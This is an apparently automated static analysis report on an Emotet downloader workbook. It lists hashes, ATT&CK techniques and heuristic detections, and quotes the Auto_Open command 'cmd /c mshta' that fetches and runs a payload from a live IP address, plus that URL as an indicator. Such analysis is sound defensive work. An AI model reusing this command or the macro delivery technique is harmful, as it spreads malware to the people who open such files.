Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 a3e09b4dd884e0fe…

MALICIOUS

Office (OLE) / .XLSX

44.0 KB Created: 2022-01-26 14:19:06 Authoring application: Microsoft Excel
MD5: 1d2c126023ce14d3db826e9b36a94664 SHA-1: 37b881590af6f083351b67a796c0fc46d79305f1 SHA-256: a3e09b4dd884e0fefda5c2117ad30aecbb92d9b5b8ee6ca59388423a3caf6c56
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Service Control T1204.002 Malicious File Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell

The sample contains Excel 4.0 macros, specifically an Auto_Open macro, which is designed to execute a command. This command, 'cmd /c mshta http://91.240.118.168/fe/f.html', uses mshta.exe to download and execute a payload from the provided URL. ClamAV detection and heuristic firings for dangerous XLM functions and LOLBin usage further support this analysis. The embedded URLs are the primary indicators of compromise.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.Emotet01220-9937698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet01220-9937698-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/fe/f.htmlB
    • http://91.240.118.168/fe/f.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1496b5efc0849ea9e0695ef96c66819bec865a2ce110a32e705833c9ed3fc17b		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1149 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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